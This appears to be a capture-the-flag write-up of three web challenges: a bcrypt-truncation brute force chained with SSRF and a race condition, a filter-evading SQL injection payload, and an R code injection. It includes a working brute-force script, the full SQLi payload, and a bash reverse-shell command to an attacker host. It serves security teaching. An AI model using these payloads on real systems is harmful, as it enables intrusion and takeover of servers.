alt text These are the writeups for 3 of the web challenges presented in CyberTEK 2025. The first one is a chain of vulnerabilities; SSRF, a library “flaw”, and a Race Condition. The second challenge requires a considerably tweaked SQLi payload, and the 3rd one is a bit of a classic. Let’s get started!

Vroom



We are first presented with a login page:

It doesn’t seem like we can register a user, so let’s check the source code. It’s a flask application, mainly an app.py with a few templates, one of them being flag.html which will essentially print the flag if we could successfully visit /flag

As expected, this won’t work right away.

Let’s read some code, starting from the function that gets the flag:

Okay, so we need to match the auth parameter, as in /flag?auth=correct_value. Let’s see what get_api_auth_token() does

Well, it just gets the API_AUTH key from the database, I wonder if we have the means to leak or edit that value.. Oh we actually do, there is set_api_auth_token() that would change the API_AUTH to a parameter we provide.

Where is it called though? Sadly the /api/setAuthorization is only accessible locally, I smell SSRF

The pieces of the puzzle are coming together, we have this /api/fetch that will do the thing, but wait.. it requires a token parameter, which should be equal to the ‘user_token’, unluckily for us, the user token is randomly generated and can’t be directly bruteforced.

But digging more into the source code, the base.html template actually prints the user_token, it’s just how the login functionality is coded, so all we need now is to find a way to login to the website.

As I mentioned earlier, there is no user registration, but within the init_db() function there was an interesting user being added, and his password is just the username + ":" + uuid + ":" + generate_random_password().

generate_random_password() function is actually secure and it returns a 64 byte string, no way we’re gonna bruteforce that right? Well, we will, but partially..

If you review the last code sample thoroughly, you will notice it’s using bcrypt to generate a password hash, nothing out of the ordinary, but if you didn’t know, there is a catch:

This means bcrypt will only take the first 72 characters of a password and use them to generate the hash, anything beyond that is omitted, For example, let’s say you registered a user with this password

eb1c327a93739589f5c4f0c31443a0bff6845e3d8849e4c91be2ad59d4879a4d2e23c43794f319e2fe2f838299ce4b39785b8e4580fbcc4d95344c577c8413b1_TOTALLY_NOT_NEEDED_PART_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

You actually can login successfully just with this portion of your password (the first 72 characters)

eb1c327a93739589f5c4f0c31443a0bff6845e3d8849e4c91be2ad59d4879a4d2e23c43794f319e2fe2f838299ce4b39785b8e4580fbcc4d95344c577c8413b1

Going back to the challenge, we can calculate 71 bytes

33 (username)  # a_retro_hero_fighting_80s_monster
+ 1 (colon)    # :
+ 36 (uuid)    # bdf7418a-8ec1-4624-a5fa-69d3f8d50abc
+ 1 (colon)    # :
= 71 bytes

This leaves us with only 1 unknown character, which is easily bruteforceable:

import requests

url = 'https://vroom.tekup-securinets.org/login'
username = 'a_retro_hero_fighting_80s_monster'
uuid = 'bdf7418a-8ec1-4624-a5fa-69d3f8d50abc'

session = requests.Session()

for x in '0123456789abcdef':
    candidate_password = f'{username}:{uuid}:{x}'
    print(f'Trying with last byte: {x} …')
    res = session.post(url, data={
        'username': username,
        'password': candidate_password
    }, allow_redirects=False)

    # Flask redirects to `/` on success, 302 Found
    if res.status_code == 302:
        print(f'[+] Success! Working password: {candidate_password}')
        break

else:
    print('[-] Failed to find the correct password.')

And indeed, we get our password and login:

Ok we finally got the user_token, let’s try and fetch something

Fetching the flag directly is a no-go, but we can leverage this SSRF to set an arbitrary auth token and use it to get the flag But three is more to it, the latter function sets our own API_AUTH but then immediately revokes it because the second parameter token not equal to the admin_token, which we have no way of obtaining.

Let’s take a look another look at the function that gets the flag, can you think of a way to get the flag without needing the admin_token?

I hope you guessed right, because there is a gap in time where we can sneak in, set a custom API_AUTH, and get the flag, before the application resets the API_AUTH. It’s a Race Condition.

All we need is to send 2 requests simultaneously, until we get a good hit.

# Req1 (sets a custom **API_AUTH** value: 'Karrab')
/api/fetch?token=bfe51f59ac25b5329138ce0a5059eb07&url=http://127.0.0.1:5000/api/setAuthorization?auth=Karrab

# Req2 (gets the flag with 'Karrab' as the auth value)
/api/fetch?token=bfe51f59ac25b5329138ce0a5059eb07&url=http://127.0.0.1:5000/flag?auth=Karrab

Here is how to do it in Burpsuite: Let’s first start by preparing the two requests in the repeater (intercept then send each one there)

Now we add both tabs to a group

And we select “Send group in parallel” as a send option

Now we hit send and after a few attempts:

Here it goes Securinets{__RACING_THE_TIME!!}

BBSqli



Ok it’s just a login page, and the name BBSqli hints on a SQL Injection attack, let’s see

Alright it’s a similar structure to the Vroom challenge, a regular Flask app.

Assuming we log in, here is what the dashboard would look like It prints the user’s username and email. Let’s keep note of that.

the main functions in the code are

add_flag(flag) # Executes once in the beginning and adds the flag to the database in the 'flags' table
add_user(username,email, password) # adds a user to the database (we can't use it, it's only used for 'add_admin()')
add_admin() # adds a user ("admin","admin@admin.cfg",hash_password(generate(30))
reset_users() # deletes all users from the database
login() # a specially crafted login function

Let’s take a look at login(), as most the challenge’s logic is there

We can right-away see a Blind SQL Injection vulnerability present twice in the code

cursor.executescript(f'''INSERT INTO logging (username) VALUES ('{username}');''')

cursor.execute(f'SELECT username,email,password FROM users WHERE username ="{username}"')

That’s interesting, let’s try to figure out how the login() function works:
1) gets a username and a password, then checks if any banned item is present within the username, here is the banned list:

It’s a fat list isn’t it? with key statements like INSERT, INTO, AND being banned, it doesn’t leave us with much freedom, and I think from now it’s a waste to run sqlmap.

2) If the username input is valid, it inserts it into the logging table, then it would check if there is such a username in the database and pull it’s email and password.

3) Before checking the username against the password in the database, the app would call reset_users() and add_admin() to prune all users in the database then re-add the admin user (with a practically uncrackable randomly generated password).

4) If there is a username with the provided password in the database, the user will successfully login and have their username and email printed to them in the dashboard.

Alright that’s a lot to grasp at once, so let’s just think simple and ask a few questions:

  • Can I bypass the banned list? Short answer is NO.
  • Can I insert a new user with the SQLi then login? Not really because the app would’ve deleted all users before we could login again.
  • How can I get the flag anyway? Well, we can make progress here actually, I ran the app locally, removing all the obstacles, and figured we can use the fact that the email is being printed back to the logged in user, to just put the flag there. we need to somehow do this email=(SELECT flag FROM flags)
  • Who’s email am I going to change? The admin user seems like a good option
  • Is there any other flaw in the app’s logic? YES indeed, it’s the fact that it fetches the user (user = cursor.fetchone()) and saves it to an object before resetting all users, then it compares the input password in that user object.
  • How is that a problem? In simple words, it means we can change the admin’s email and password, then log in with that user even after the reset happens, as long as it’s within the same login request.

Good for us the UPDATE query isn’t in the banlist. A requirement for this attack is to use a pre-calculated hash as the password. And use that password when logging in.

password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';

A payload like this won’t work still,

admin');UPDATE users SET email=(SELECT flag FROM flags), password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';

It’s because we need to make sure to satisfy both injection points with no errors

Here is our final payload that meets all requirements:

admin"-- -');UPDATE users SET email=(SELECT flag FROM flags), password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';-- d920ade' WHERE username='admin';--

And here is the flag

Coin Machine



It’s just one input field

Throwing in the value Test, it returns this

Trying something like "><img src=1 onerror=alert('Karrab')>, would lead to an XSS

I don’t think that will be enough to get us the flag, let’s keep digging,

app.py

So it would essentially throw whatever input we give at Rscript /opt/core/rscripts/run.R, with the condition that if a line starts with ‘```{‘, the whole line will be replaced with just ‘```’.

Let’s search for payloads and see what happens

This would normally work, but considering the filter, we need something else

Digging a bit more, there is this

It returns an empty screen, which is promising, it could be a hint of command execution

Let’s try to get a reverse shell, popping my VPS r system('bash -c "bash -i >& /dev/tcp/<IP>/4444 0>&1"')

And there it is

Happy Hacking!